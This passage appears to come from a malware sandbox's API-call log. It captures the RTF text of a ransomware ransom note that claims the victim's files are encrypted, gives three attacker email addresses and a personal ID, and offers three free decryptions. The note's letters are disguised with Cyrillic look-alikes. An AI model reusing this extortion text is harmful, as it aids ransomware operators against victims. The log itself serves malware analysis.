\\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0042.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 